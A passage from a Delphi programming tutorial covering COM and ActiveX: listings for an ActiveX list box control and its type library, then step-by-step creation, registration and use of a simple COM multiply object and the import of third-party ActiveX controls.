else Result := False; end; end; function TListBoxX.GetPropertyStrings( DispID: Integer; Strings: TStrings ): Boolean; var I: Integer; Cookie: Integer; TempList: TStringList; begin case DispID of 5, // 5 = DispID for DragCursor property in IListBoxXDisp 26: // 26 = DispID for Cursor property in IListBoxXDisp begin TempList := TStringList.Create; try GetCursorValues( TempList.Append ); for I := 0 to TempList.Count - 1 do begin Cookie := StringToCursor( TempList[ I ] ); Strings.AddObject( TempList[ I ], TObject( Cookie ) ); end; finally TempList.Free; end; Result := True; end; else Result := False; end; end; procedure TListBoxX.GetPropertyValue( DispID, Cookie: Integer; var Value: OleVariant ); begin case DispID of 5, // 5 = DispID for DragCursor property in IListBoxXDisp 26: // 26 = DispID for Cursor property in IListBoxXDisp begin { Cookie represents the item that was selected } Value := Cookie; end; end; end; {= All other support methods deleted for space =} initialization TActiveXControlFactory.Create( ComServer, TListBoxX, TListBox, Class_ListBoxX, 1, '{B19A64E4-644D-11D1-AE4B-444553540000}', 0); end.
Listing 2 - DelphiByDesignXLib_TLB.src unit DelphiByDesignXLib_TLB; { This file contains pascal declarations imported from a type library. This file will be written during each import or refresh of the type library editor. Changes to this file will be discarded during the
1395
refresh process. } { DelphiByDesignXLib Library } { Version 1.0 } interface uses Windows, ActiveX, Classes, Graphics, OleCtrls, StdVCL; const LIBID_DelphiByDesignXLib: TGUID = '{B19A64DB-644D-11D1-AE4B-444553540000}'; const { Component class GUIDs } Class_ListBoxX: TGUID = '{B19A64DE-644D-11D1-AE4B-444553540000}'; type { Forward declarations: Interfaces } IListBoxX = interface; IListBoxXDisp = dispinterface; IListBoxXEvents = dispinterface; { Forward declarations: CoClasses } ListBoxX = IListBoxX; { Forward declarations: Enums } TxBorderStyle = TOleEnum; TxDragMode = TOleEnum; TxImeMode = TOleEnum; TxListBoxStyle = TOleEnum; TxMouseButton = TOleEnum; { Dispatch interface for ListBoxX Control } IListBoxX = interface(IDispatch) ['{B19A64DC-644D-11D1-AE4B-444553540000}'] function Get_DragCursor: Smallint; safecall; procedure Set_DragCursor(Value: Smallint); safecall; . . . function Get_Cursor: Smallint; safecall; procedure Set_Cursor(Value: Smallint); safecall; . . . procedure AboutBox; safecall; . . . property DragCursor: Smallint read Get_DragCursor write Set_DragCursor; . . . property Cursor: Smallint read Get_Cursor write Set_Cursor; end; { DispInterface declaration for Dual Interface IListBoxX } IListBoxXDisp = dispinterface ['{B19A64DC-644D-11D1-AE4B-444553540000}'] property BorderStyle: TxBorderStyle dispid 1; property Color: TColor dispid 2; property Columns: Integer dispid 3; property Ctl3D: WordBool dispid 4; property DragCursor: Smallint dispid 5; property DragMode: TxDragMode dispid 6; property Enabled: WordBool dispid 7; property ExtendedSelect: WordBool dispid 8; property Font: Font dispid 9; property ImeMode: TxImeMode dispid 10; property ImeName: WideString dispid 11;
1396
property IntegralHeight: WordBool dispid 12; property ItemHeight: Integer dispid 13; property Items: IStrings dispid 14; property MultiSelect: WordBool dispid 15; property ParentColor: WordBool dispid 16; property ParentCtl3D: WordBool dispid 17; property Sorted: WordBool dispid 18; property Style: TxListBoxStyle dispid 19; property TabWidth: Integer dispid 20; property Visible: WordBool dispid 21; procedure Clear; dispid 22; property ItemIndex: Integer dispid 23; property SelCount: Integer readonly dispid 24; property TopIndex: Integer dispid 25; property Cursor: Smallint dispid 26; procedure AboutBox; dispid -552; end; { Events interface for ListBoxX Control } IListBoxXEvents = dispinterface ['{B19A64DD-644D-11D1-AE4B-444553540000}'] procedure OnClick; dispid 1; procedure OnDblClick; dispid 2; procedure OnKeyPress(var Key: Smallint); dispid 3; procedure OnColorItem(Index: Integer; var Color: TColor); dispid 4; end; implementation end.
Listing 3 - TabWidthPpg.pas unit TabWidthPpg; interface uses SysUtils, Windows, Messages, Classes, Graphics, Controls, StdCtrls, ExtCtrls, Forms, ComServ, ComObj, StdVcl, AxCtrls, ComCtrls; type TPpgTabWidth = class( TPropertyPage ) GrpPreview: TGroupBox; GrpTabWidth: TGroupBox; LstPreview: TListBox; ChkUseTabs: TCheckBox; TrkTabWidth: TTrackBar; procedure ChkUseTabsClick(Sender: TObject); procedure TrkTabWidthChange(Sender: TObject); private { Private declarations } protected procedure UpdatePropertyPage; override; procedure UpdateObject; override; public { Public declarations } end; const Class_PpgTabWidth: TGUID = '{8BE91420-9070-11D1-AE4B-44455354616F}';
1397
implementation {$R *.DFM} procedure TPpgTabWidth.UpdatePropertyPage; var I: Integer; begin { Update your controls from OleObject } { Copy strings from control into preview list box } for I := 0 to OleObject.Items.Count - 1 do LstPreview.Items.Add( OleObject.Items[ I ] ); ChkUseTabs.Checked := OleObject.TabWidth > 0; TrkTabWidth.Position := OleObject.TabWidth div 4; LstPreview.TabWidth := OleObject.TabWidth; end; procedure TPpgTabWidth.UpdateObject; begin { Update OleObject from your controls } OleObject.TabWidth := LstPreview.TabWidth; end; procedure TPpgTabWidth.ChkUseTabsClick(Sender: TObject); begin TrkTabWidth.Enabled := ChkUseTabs.Checked; if ChkUseTabs.Checked then LstPreview.TabWidth := TrkTabWidth.Position * 4 else LstPreview.TabWidth := 0; end; procedure TPpgTabWidth.TrkTabWidthChange(Sender: TObject); begin Modified; LstPreview.TabWidth := TrkTabWidth.Position * 4; end; initialization TActiveXPropertyPageFactory.Create( ComServer, TPpgTabWidth, Class_PpgTabWidth ); end.
1398
COM and ActiveX · · · · · · · · · · · · · · · ·
· Understanding COM COM Terminology Reference Counting The IUnknown Interface Creating a COM Object Adding Code Understanding ActiveX Using Third-Party ActiveX Controls Creating New ActiveX Controls Changing the ActiveX Palette Bitmap Web Deploying ActiveX Controls and ActiveForms Web Deployment Options Web Deploy Summary Q&A Quiz Exercises
OLE, ActiveX, COM, DCOM, VCL, CORBA, MTS. . . the industry certainly doesn't lack for acronyms when it comes to the subject of component architecture! In this chapter, I explain some of these acronyms and at least mention the others in passing. I'll explain what these terms mean and try to shed some light on the often-confusing world of COM and ActiveX. Specifically, I cover · What COM is · Creating COM objects · The Delphi Type Library Editor · Creating ActiveX controls · Creating ActiveForms · Deploying ActiveX controls I'd be lying if I said that COM, ActiveX, and OLE are easy to understand. They are not. It can be very confusing at first. I can't do justice to this subject in one chapter. My goal for this chapter is to give you enough of a background on these architectures so that you can better understand the acronyms you see bandied about these days. You will also get some good hands-on training in creating COM and ActiveX controls. Fortunately, Delphi takes a great deal of the pain out of dealing with these APIs.
Understanding COM You can't talk about OLE and ActiveX without talking about COM, which stands for Component Object Model. New Term: COM (Component Object Model) is a Microsoft specification for creating and implementing reusable components. "Components? I thought Delphi used VCL components." Certainly VCL components are the most effective use of components in Delphi. They aren't the only possibility, though. As you work through this hour, you will get a clearer picture of how COM and ActiveX work with Delphi. COM is the basis for both OLE and ActiveX. An analogy might be the TObject class in VCL. All classes in VCL are ultimately inherited from TObject. Derived classes automatically get the properties and methods of TObject. They then add their own properties and methods to provide additional functionality. Similarly, OLE and ActiveX are built on top of COM. COM is the foundation for all OLE and ActiveX objects. 1399
As a component architecture, COM has two primary benefits: · COM object creation is language independent. (COM objects can be written in many different programming languages.) · A COM object can be used in virtually any Windows programming environment including Delphi, C++Builder, Visual C++, Visual Basic, PowerBuilder, Visual dBASE, and many more. NOTE: One major drawback to COM is that it is heavily tied to the WinTel (Windows/Intel) platform. So although you can use a COM object in many different Windows programming environments, you can't necessarily use that COM object in a UNIX programming environment. Recently Microsoft has tried to move COM to nonWindows platforms, but it remains to be seen whether this attempt will ultimately succeed. This chapter deals only with COM and ActiveX as they exist in the Win32 programming environment. You can use a number of different languages and environments to write COM objects. You can create COM objects with Delphi, C++Builder, Visual C++, Visual Basic, and probably a few other development environments. When created, a COM object can be used in an even wider variety of development environments. A COM object created in Delphi can be used by a VB programmer, a C++Builder programmer, or even a Visual dBASE or PowerBuilder programmer. A COM object is typically contained in a DLL. The DLL might have an extension of .DLL or it might have an extension of .OCX. A single library file (DLL or OCX) can contain an individual COM object or can contain several COM objects.
COM Terminology COM is full of confusing terminology. The following sections explain some of the terms used in COM and how the many pieces of COM fit together. All of these pieces are interrelated, so you'll have to read the entire section to get the big picture. COM Objects New Term: A COM object is a piece of binary code that performs a particular function. A COM object exposes certain methods to enable applications to access the functionality of the COM object. These methods are made available via COM interfaces. A COM object might contain just one interface, or it might contain several interfaces. To a programmer, COM objects work a lot like Object Pascal classes. COM Interfaces Access to a COM object is through the COM object's interface. New Term: A COM interface is the means by which the user of a COM object accesses that object's functionality. A COM interface is used to access a COM object; to use the object, if you will. The interface in effect advertises what the COM object has to offer. A COM object might have just one interface, or it might have several. In addition, one COM interface might implement one or more additional COM interfaces. COM interfaces typically start with the letter I. The Windows shell, for example, implements interfaces called IShellLink, IShellFolder, and IShellExtInit. Although you can use any naming convention you like, the leading I universally and immediately identifies the class as a COM interface to other programmers. COM interfaces are managed internally by Windows according to their interface identifiers (IIDs). An IID is a numerical value contained in a data structure (a record). The IID uniquely identifies an interface.
1400
COM Classes New Term: A COM class (also known as a coclass) is a class that contains one or more COM interfaces. You can't use a COM interface directly. Instead, you access the interface through a coclass. A coclass includes a class factory that creates the requested interface and returns a pointer to the interface. COM classes are identified by class identifiers (CLSIDs). A CLSID, like an IID, is a numerical value that uniquely identifies a COM class. GUIDs COM objects must be registered with Windows. This is where CLSIDs and IIDs come into play. CLSIDs and IIDs are really just different names for the same base data structure: the Globally Unique Identifier (GUID). New Term: A GUID is a unique 128-bit (16-byte) value. GUIDs are created by a special COM library function called CoCreateGUID. This function generates a GUID that is virtually guaranteed to be unique. CoCreateGUID uses a combination of your machine information, random number generation, and a time stamp to create GUIDs. Although it is possible that CoCreateGUID might generate two GUIDs that are identical, it is highly unlikely (more like a statistical impossibility). Thankfully, Delphi programmers don't have to worry about creating GUIDs. Delphi automatically generates a GUID when you create a new automation object, COM object, ActiveX control, or ActiveForm control. GUIDs in Delphi are defined by the TGUID record. TGUID is declared in System.pas as follows: TGUID = record D1: Integer; D2: Word; D3: Word; D4: array[0..7] of Byte; end; When you create a new COM object, Delphi automatically creates the GUID for you. For example, here's the GUID for a test COM object I created: Class_Test: TGUID = `{F34107A1-ECCF-11D1-B47A-0040052A81F8}';
Because GUIDs are handled for you by Delphi, you won't typically have to worry very much about GUIDs. You will, however, see GUIDs a lot as you create and use COM objects (including ActiveX controls). TIP: If you need to generate a GUID manually, you can type Ctrl+Shift+G in the Code Editor. Delphi will generate a GUID for you and insert it at the cursor point. Type Libraries COM objects often use a type library. New Term: A type library is a special file that contains information about a COM object. This information includes a list of the properties, methods, interfaces, structures, and other elements that the control contains. The type library also provides information about the data types of each property and the return type and parameters of the object's methods. This information includes the data types in the object, the methods and properties of the object, the version information, interfaces in the object, and so on. Type libraries can be contained in the COM object as resources or as a standalone file. Type library files have a .TLB extension. A type library is necessary if other developers are going to use your COM objects as development tools. A COM object's type library contains more information about the object than is available by simply querying the object for its interfaces. The Delphi IDE, for example, uses the information found in type libraries to display an ActiveX control on the Component palette. Users of a COM object can examine the type library to see exactly what methods and interfaces the object contains. 1401
DCOM Distributed COM (DCOM) is a subset of COM that provides the capability to use COM objects across networks or across the Internet. DCOM extends COM to provide the mechanism for using COM in a networking environment. A detailed discussion of DCOM is beyond the scope of this book, but note that DCOM is definitely prevalent in certain types of network programming. NOTE: CORBA (Common Object Request Broker Architecture) is a competing technology to DCOM. CORBA is platform-independent, which makes it more desirable than DCOM in many ways. In addition, CORBA is an open architecture supported by a consortium of software companies (unlike DCOM, which is a Microsoft-specific solution). Fortunately, Delphi gives you the option of creating both DCOM and CORBA objects.
Reference Counting Every COM object has a reference count. The reference count, naturally, contains the number of processes that are currently using the COM object. A process is any application or DLL that uses a COM object. Because a COM object can be used by any number of processes at one time, reference counting is used to determine when the COM object is no longer needed in memory. When a COM object is created, its reference count is initialized to 1. The reference count is incremented by one each time a process attaches to the COM object. When a process detaches from the COM object, the reference count is decremented by one. When the reference count gets to 0, the COM object is freed from memory.
The IUnknown Interface All COM interfaces descend from a base interface called IUnknown. Table 15.1 lists the methods of IUnknown. TABLE 15.1. IUnknown METHODS. Method Description QueryInte Queries the interface to obtain a list of supported interfaces. rface AddRef Increments the interface's reference count. Decrements the interface's reference count. When the reference count Release reaches 0, the object is freed from memory. I mention IUnknown primarily for historical reasons. Delphi programmers don't really have to worry much about IUnknown as other programmers do. Delphi takes care of handling reference counting and freeing the memory for the COM object. Delphi also elevates dealing with COM objects to a level that makes an intimate knowledge of IUnknown all but obsolete.
Creating a COM Object To help bring this into perspective, let's create a COM object. This COM object will be ridiculously simple but should illustrate how to use and build COM objects in Delphi. The COM object you create will have these characteristics: Na Type Description me property X The first number to multiply. property Y The second number to multiply. method DoIt A method that multiplies the two numbers and returns the result. The following sections explain the process of creating the COM object. 1402
Creating an ActiveX Library The first step in creating a COM object is to create a DLL project that will contain the COM object's code. Delphi uses the term "ActiveX Library" to refer to all COM library projects. This description isn't entirely accurate, but it's close enough. Perform these steps to create an ActiveX Library: 1. Close all projects. Choose File|New from the main menu to display the Object Repository. 2. Click on the ActiveX tab to show the ActiveX page (see Figure 15.1). Double-click the ActiveX Library icon. Figure 15.1. The Object Repository's ActiveX page. 3. Choose File|Save and save the project as ComTest. That's all there is to this particular step. Delphi creates a DLL project for you and is waiting for your next move. Creating the Actual Object The next step is to create the COM object itself. This step is also relatively simple. Perform these steps to do so: 1. Choose File|New from the Delphi main menu. The Object Repository is displayed. Click on the ActiveX page. 2. Double-click on the COM Object icon. Delphi displays the COM Object Wizard, as shown in Figure 15.2. FIGURE 15.2. The COM Object Wizard.
THE COM OBJECT WIZARD Let me take a moment to talk about the COM Object Wizard. The Class Name field is used to specify the class name for your COM object. Type the class name here, but don't prepend the class name with either a T as you would for a Delphi class, nor an I as is customary for interfaces. Delphi will take care of creating the class and interface names automatically. The Instancing field is used to control how multiple instances of the COM object are handled. Choices include Internal, Single Instance, or Multiple Instance. See the "COM object wizard" topic in the Delphi help for descriptions of these instancing options (you can click the Help button on the COM Object Wizard to display the correct help topic). The Threading Model field is used to specify how client applications can call your COM object. Choices include Single, Apartment, Free, or Both. Again, see the Delphi help for descriptions of the threading models. The Implemented Interfaces field is where you add the names of any interfaces that your COM object will implement. If you have an interface called IMyFileIO and you want to use that interface in your new COM object, you would type IMyFileIO in this field. The Description field is used to supply a description for the COM object. The description is optional, but it's a good idea to provide one. When the Include Type Library check box is checked, Delphi will create a type library for the COM object. Creating a type library enables your COM object to be used by client applications. Okay, let's get back to work: 1403
3. Enter Multiply in the Class Name field. 4. Enter Test COM Object in the Description field. 5. Check the Include Type Library check box. The other fields on the dialog box can be left at their default values. 6. Click OK to close the dialog box. When you click the OK button, Delphi creates a unit for the COM object's class and displays the Type Library Editor, as shown in Figure 15.3. Before continuing, I need to take a moment to talk about the Type Library Editor. Using the Type Library Editor The Type Library Editor is used to manipulate a type library. The Type Library Editor enables you to add or remove interfaces, add properties and methods to interfaces, remove elements from interfaces, and create host of other COM elements such as enumerations, records, or coclasses. The Type Library Editor makes it easy to add elements to a type library. You'll learn about adding elements in the next section when you add properties and a method to the COM object. On the left side of the Type Library Editor is the Object pane. The Object pane contains a tree view control. At the top of the tree view hierarchy is the type library itself. Below the type library are elements contained in the type library. In Figure 15.3, you see two elements: the IMultiply interface and the Multiply coclass. On the right side of the Type Library Editor is the Information pane. This pane provides information about the object currently selected in the Object pane. The information presented in the information pane varies with the type of object selected. The Attributes page shows the type library name, its GUID, version, help string, help file, and so on. NOTE: Remember earlier when I said that Delphi programmers don't need to worry much about GUIDs? The COM object you just created already has a GUID, as does the type library itself. Delphi creates these GUIDs for you automatically. As I said before, you'll see GUIDs a lot as you work with COM objects, but you don't have to worry about creating them. When the type library node is selected, the Information pane shows a tab labeled Uses. When you click on this tab you will see a list of type libraries that this type library relies on. In almost all cases, this list will include the OLE Automation library, but it can contain others as well. The exact libraries a particular type library relies on depends on the type and complexity of the COM object the type library describes. The Text page shows the type library definitions in IDL syntax. IDL is sort of a scripting language used to create binary type library files. You shouldn't change any of the text on this tab unless you know exactly what you are doing. You might, however, refer to the Text page for reference. This is probably of more value to experienced programmers than to beginners. Other pages might be displayed in the Information pane depending on the type of object selected. For complete details, be sure to read the "Type Library Editor" help topic in the Delphi help. You will learn more about the Type Library Editor as you work through the rest of the chapter. Now let's get back to creating the COM object. Adding Properties and Methods to the COM Object Before going further, you should save the project again. You didn't realize it, but Delphi created a new unit when you created the COM object in the previous step. Choose File|Save All from the main menu and save the unit as MultiplyU. 1404
Now you are ready to make the COM object do something. Remember, this COM object is incredibly simplistic, so it won't do much, but it will at least do something. ADDING PROPERTIES First you will add properties to the COM object. Here are the steps: 1. Click on the IMultiply node in the Type Library Editor's Object pane. Notice that the Information pane shows the interface's name, GUID, and version. Notice also that the Parent Interface field shows the ancestor of IMultiply as IUnknown. If you recall, I said earlier that IUnknown is the base (or parent) interface from which all other interfaces are derived. Delphi automatically assumes a base interface of IUnknown. You can change the base interface to some other interface if you want by choosing an interface from the list of available interfaces. Other interfaces in the list are themselves derived from IUnknown or one of its descendants. 2. Right-click and choose New|Property from the context menu. The Type Library Editor adds two new nodes to the Objects pane under the IMulitply interface. The cursor is in editing mode so that you can type the name of the new property. 3. Type X for the property name and then press the Enter key. Both of the new nodes change to X. There are two nodes to each property because, by default, a property is assumed to be a read/write property. COM requires a Get method to read a property and a Put method to write to a property, hence the two entries. Click on either of the two nodes labeled X. Notice the Invoke Kind field in the Information pane as you select first one X node and then the other. Notice that the field changes from Property Set to Property Get. 4. Notice in the Information pane that the Type field says Integer. That's the data type you want for this property, so you don't need to change the type. 5. Create another new property but this time use a different approach. Locate the New Property button on the Type Library Editor toolbar. Click the drop-down arrow next to the New Property button. Choose Read|Write from the list of property types. The Type Library Editor creates the new property. Name this property Y. You can accept the default data type of Integer for this property as well. Behind the scenes Delphi is adding code to the project's units as you add elements. Adding a Method Next, you add a method. Perform these steps: 1. Select the IMultiply object in the Object pane and click the New Method button on the Type Library Editor toolbar. 2. Name the method DoIt. Notice that the Invoke Kind field says Function (as opposed to Property Get and Property Set). Next you must set the method's parameters. The method will have this syntax: function DoIt : Integer;
3. Click on the Parameters tab in the Information pane. Change the Return Type field to Integer (choose Integer from the combo box). This method doesn't have any parameters, so you can leave the Parameters list empty. After you have set the return type, click the Attributes tab to display the Attributes page. This step isn't strictly necessary, but does serve the purpose of taking you back to where you started. 4. Click the Refresh Implementation button on the Type Library Editor toolbar.
1405
Now that you have added the two properties and methods, it's time to see what Delphi has been doing behind the scenes. Listing 15.1 shows the class's unit as it appears after performing the steps up to this point. (Don't worry if your unit doesn't look exactly like Listing 15.1. My version of Delphi might have added code in a slightly different order than yours.) LISTING 15.1. MultiplyU AFTER ADDING PROPERTIES AND A METHOD. unit MultiplyU; interface uses Windows, ActiveX, ComObj, ComTest_TLB; type TMultiply = class(TTypedComObject, IMultiply) protected function DoIt: Integer; stdcall; function Get_X: Integer; stdcall; function Get_Y: Integer; stdcall; procedure Set_X(Value: Integer); stdcall; procedure Set_Y(Value: Integer); stdcall; {Declare IMultiply methods here} end; implementation uses ComServ; function TMultiply.DoIt: Integer; begin end; function TMultiply.Get_X: Integer; begin end; function TMultiply.Get_Y: Integer; begin end; procedure TMultiply.Set_X(Value: Integer); begin end; procedure TMultiply.Set_Y(Value: Integer); begin end; initialization TTypedComObjectFactory.Create(ComServer, TMultiply, Class_Multiply, ciMultiInstance, tmSingle); end.
This is the shell of the COM object. Notice that the TMultiply class is derived from both TTypedComObject and IMultiply. (To C++ programmers, this might look like multiple inheritance. It's not exactly multiple inheritance, but it is similar in some ways.) You haven't seen the IMultiply class yet, but you will a bit later. You must fill out this shell in order to make the COM object do something. You will do that next.
Adding Code You will now add code to the TMultiply class to make the COM object functional. Perform these steps (refer to Listing 15.2 if necessary): 1. Display the MuliplyU.pas unit in the Code Editor. Add these lines to the TMultiply class declaration, just above the protected keyword: private FX : Integer; FY : Integer;
These are the declarations for the data fields that will hold the X and Y property values. 2. Scroll down into the implementation section and locate the Get_X method (use the Code Explorer if you like). Type this line of code in the method: 1406
Result := FX;
3. Locate the Get_Y method and add this line: Result := FY;
4. Locate the DoIt method and add this line of code: Result := FX * FY;
This line of code multiplies the value of FX and FY and returns the result. 5. Scroll down further until you see the Set_X method. Type this line of code in the Set_X method: FX := Value;
6. Locate the Set_Y method and add this line: FY := Value;
That's all you need to do. Your code should now look like Listing 15.2. LISTING 15.2. THE COMPLETED MultiplyU UNIT. unit MultiplyU; interface uses Windows, ActiveX, ComObj, ComTest_TLB; type TMultiply = class(TTypedComObject, IMultiply) private FX : Integer; FY : Integer; protected function DoIt: Integer; stdcall; function Get_X: Integer; stdcall; function Get_Y: Integer; stdcall; procedure Set_X(Value: Integer); stdcall; procedure Set_Y(Value: Integer); stdcall; {Declare IMultiply methods here} end; implementation uses ComServ; function TMultiply.DoIt: Integer; begin Result := FX * FY; end; function TMultiply.Get_X: Integer; begin Result := FX; end; function TMultiply.Get_Y: Integer; begin Result := FY; end; procedure TMultiply.Set_X(Value: Integer); begin FX := Value; end; procedure TMultiply.Set_Y(Value: Integer); begin FY := Value; end; initialization TTypedComObjectFactory.Create(ComServer, TMultiply, Class_Multiply, ciMultiInstance, tmSingle); end.
Although you were working on the MulitplyU unit, Delphi was busy building the type library and a unit to contain the type library code. The unit has the same name as the project with 1407
a trailing _TLB. This project is named ComTest. The full unit name for the type library unit, then, is ComTest_TLB.pas. Listing 15.3 shows this unit as it exists at this point. Remember, your unit might not look exactly like Listing 15.3. LISTING 15.3. THE ComTest_TLB.pas UNIT. unit ComTest_TLB; // ******************************************************************** // // WARNING // // ------// // The types declared in this file were generated from data read from a // // Type Library. If this type library is explicitly or indirectly (via // // another type library referring to this type library) reimported, or // // the `Refresh' command of the Type Library Editor activated while // // editing the Type Library, the contents of this file will be // // regenerated and all manual modifications will be lost. // // ******************************************************************** // // PASTLWTR : $Revision: 1.11.1.55 $ // File generated on 6/8/98 7:16:51 PM from Type Library described below. // ******************************************************************** // // Type Lib: D:\Borland\D4\Bin\ComTest.tlb // IID\LCID: {7CDAFB76-FF36-11D1-81F1-0040052A83C4}\0 // Helpfile: // HelpString: ComTest Library // Version: 1.0 // ******************************************************************** // interface uses Windows, ActiveX, Classes, Graphics, OleCtrls, StdVCL; // *********************************************************************// // GUIDS declared in the TypeLibrary. Following prefixes are used: // // Type Libraries : LIBID_xxxx // // CoClasses : CLASS_xxxx // // DISPInterfaces : DIID_xxxx // // Non-DISP interfaces: IID_xxxx // // *********************************************************************// const LIBID_ComTest: TGUID = `{7CDAFB76-FF36-11D1-81F1-0040052A83C4}'; IID_IMultiply: TGUID = `{7CDAFB77-FF36-11D1-81F1-0040052A83C4}'; CLASS_Multiply: TGUID = `{7CDAFB79-FF36-11D1-81F1-0040052A83C4}'; type // *********************************************************************// // Forward declaration of interfaces defined in Type Library // // *********************************************************************// IMultiply = interface; // *********************************************************************// // Declaration of CoClasses defined in Type Library // // (NOTE: Here we map each CoClass to its Default Interface) // // *********************************************************************// Multiply = IMultiply; // *********************************************************************// // Interface: IMultiply // Flags: (0) // GUID: {7CDAFB77-FF36-11D1-81F1-0040052A83C4} // *********************************************************************// IMultiply = interface(IUnknown) [`{7CDAFB77-FF36-11D1-81F1-0040052A83C4}'] function Get_X: Integer; stdcall; procedure Set_X(Value: Integer); stdcall; function Get_Y: Integer; stdcall; procedure Set_Y(Value: Integer); stdcall; function DoIt: Integer; stdcall; end; CoMultiply = class class function Create: IMultiply; class function CreateRemote(const MachineName: string): IMultiply; end;
1408
implementation uses ComObj; class function CoMultiply.Create: IMultiply; begin Result := CreateComObject(CLASS_Multiply) as IMultiply; end; class function CoMultiply.CreateRemote(const MachineName: string): ÂIMultiply; begin Result := CreateRemoteComObject(MachineName, CLASS_Multiply) as ÂIMultiply; end; end.
Notice that this unit contains the declaration for the IMultiply interface. As you can see, IMultiply is derived from IUnknown. Notice also that this unit contains the coclass Multiply. It is important to understand that this unit is regenerated each time you compile an ActiveX library project. It is generated from the type library file. Note the warning at the top of the unit. The comments are telling you that any changes you make to this file will be lost the next time the COM object is rebuilt. It really doesn't do any good to modify the type library source file, because it will be regenerated automatically. Building and Registering the COM Object Now you are ready to compile the ActiveX library project. This step compiles the COM object and builds the DLL in which the COM object resides. After building the COM object, you can register it. Here are the steps: 1. Choose Project|Build ComTest from the main menu. Delphi will build the DLL containing the COM object. 2. Choose Run|Register ActiveX Server from the main menu. This step registers the COM object with Windows. If you fail to perform this step, you will get an exception that says, "Class not registered" when you attempt to access the COM object. Delphi registers the COM object DLL with Windows. After the DLL has been registered, Delphi displays a message box, as shown in Figure 15.4. FIGURE 15.4. Delphi reporting the COM object successfully registered. When Windows registers the COM object, it adds information about the object to the Registry. Figure 15.5 shows the Registry entry created when the COM object was registered with Windows. FIGURE 15.5. The Registry key created when the COM object was registered. NOTE: Delphi ships with a utility called TREGSVR.EXE that can be used to register an ActiveX control from the command line. To register a control called MYSTUFF.OCX, you would run TREGSVR from a command prompt like this: tregsvr mystuff.ocx
To unregister an ActiveX, use the -u switch as follows: tregsvr -u mystuff.ocx
Sometimes this is more convenient than loading an ActiveX project in Delphi and registering or unregistering the control from the IDE.
NOTE: In this exercise I had you create a COM object. You could also have used an automation object. An automation object derives from IDispatch rather than IUnknown. IDispatch provides the additional functionality required for a COM object to act as an automation server (an object that can control one application from another). Your COM object is now ready to use. 1409
Building an Application That Uses the COM Object A COM object doesn't do you much good if you can't use it. In this step, you create an application that uses the COM object you just created. Follow these steps: 1. Create a new application. Place a Button component and a Label component on the form. Save the project as ComApp and the main form's unit as ComAppU. 2. Switch to the Code Editor and locate the uses list for the main unit. Add these units to the uses list: ComObj ComTest_TLB
This ensures that the code that references the COM object will compile. 3. Double-click the form's button to create an OnClick event handler. Modify the OnClick handler so that it looks like this: procedure TForm1.Button1Click(Sender: TObject); var Mult : IMultiply; Res : Integer; begin Mult := CreateComObject(CLASS_Multiply) as IMultiply; if Assigned(Mult) then begin Mult.Set_X (20); Mult.Set_Y (60); Res := Mult.DoIt; Label1.Caption := IntToStr(Res); end; end;
This code first declares a pointer to the IMultiply interface called Mult and an Integer variable to hold the result. Next, the CreateComObject function is called with a parameter of CLASS_Multiply. CLASS_Multiply is a constant that contains the GUID for the COM object class (refer to Listing 15.3). The return value from CreateComObject is assigned to the Mult pointer. Notice that I use the as operator to cast the return value to an IMultiply pointer. CreateComObject returns an IUnknown pointer, so the as operator is used to cast the IUnknown pointer to an IMultiply pointer. After the COM object is created, I assign values to the X and Y properties. After that I call the DoIt method of the COM object and display the result in the Label component. NOTE: In the real world, I would have written the preceding procedure differently. For example: procedure TForm1.Button1Click(Sender: TObject); begin with CreateComObject(CLASS_Multiply) as IMultiply do begin Set_X(20); Set_Y(60); Label1.Caption := IntToStr(DoIt); end; end;
I wrote the procedure the way I did to illustrate each step. Run the program. When you click the form's button, the label should change to say "1200" (the product of 20 * 60). That's it! Your COM object works. This COM object can be used from Visual Basic, Visual C++, C++Builder, or any other development environment that supports COM.
1410
Understanding ActiveX ActiveX is a relatively new term for a technology that has been around for awhile. Originally ActiveX controls were called OCX controls. The term OCX is still widely used in some circles. An ActiveX control typically has a filename extension of either DLL or OCX. An ActiveX control is essentially a COM object in disguise. The primary difference between an ActiveX control and a COM object is that an ActiveX control has a design-time interface. An ActiveX control also has code that enables it to be deployed on a Web page or over a network. ActiveX is a subset of COM, so everything you learned about COM objects in the first part of the chapter applies to ActiveX controls as well.
Using Third-Party ActiveX Controls There isn't a lot to know about installing and using third-party ActiveX controls. All you have to do is import the ActiveX into the IDE and begin using the control. To see how this works, let's do a quick exercise. This exercise requires that you have Microsoft Internet Explorer installed on your system. If you don't have Internet Explorer installed, skip this exercise. (You won't be missing anything because I show you how to install an ActiveX control you have built in the section "Build, Register, and Install the Control.") Perform these steps: 1. Choose Component|Import ActiveX Control from the main menu. The Import ActiveX dialog box is displayed. 2. Scroll down through the list of installed components until you find Microsoft Internet Controls (the exact text of the item will depend on the version of Internet Explorer you have installed on your system). Select the item. Figure 15.6 shows the Import ActiveX dialog box after this step. FIGURE 15.6. The Import ActiveX dialog box. Notice the Class names list box in the middle of the page. This list box contains a list of ActiveX controls in the selected file (SHDOCVW.DLL in this case). 3. The Palette page field shows ActiveX. This is a the palette page where the new controls will be installed. Click on this field and type ActiveXTest. 4. Leave the Unit dir name and Search path fields on their default settings and click the Install button. The Install dialog box comes up and asks what package you want the controls installed into. (All controls, whether they are VCL or ActiveX, must be in a package.) 5. Click on the Into new package tab. Enter MSIE in the File name field and Internet Explorer Package in the Description field. 6. Click the OK button. Delphi creates a new package called MSIE.dpk and prompts you to build and install the package. Click Yes to install the package. After the package is built, Delphi displays a message box telling you which controls were added to the Component palette. Click Yes to dismiss the message box. 7. Scroll the Component palette to find the ActiveXText tab. You should see two or three controls on that page of the Component palette (again, depending on the version of Internet Explorer you have installed). The components are ready for use. Experiment with the new controls and see how they work. You probably won't get very far without documentation, but at least you get a sense for how installing an ActiveX works. (For a more complete explanation of using Internet Explorer as an ActiveX, see the section, "Using Internet Explorer as an ActiveX Control" on the Bonus Day, "Building Internet Applications.")
1411
NOTE: You must have a design-time license in order to use an installed ActiveX control. A design-time license is a file with an .LIC extension. In some cases you can import ActiveX controls to the Delphi Component palette without a design-time license, but you will get an error message when you attempt to place the control on your form. To remove the Internet Explorer controls from the Component palette, choose Component|Install Packages from the main menu. Locate the Internet Explorer Package in the Design packages list box and click the Remove button. The ActiveXTest tab is removed from the Component palette. NOTE: Deploying an application that uses ActiveX controls requires special attention. Deploying applications using ActiveX controls is covered in detail on the Bonus Day in the section "Deploying Internet Applications."
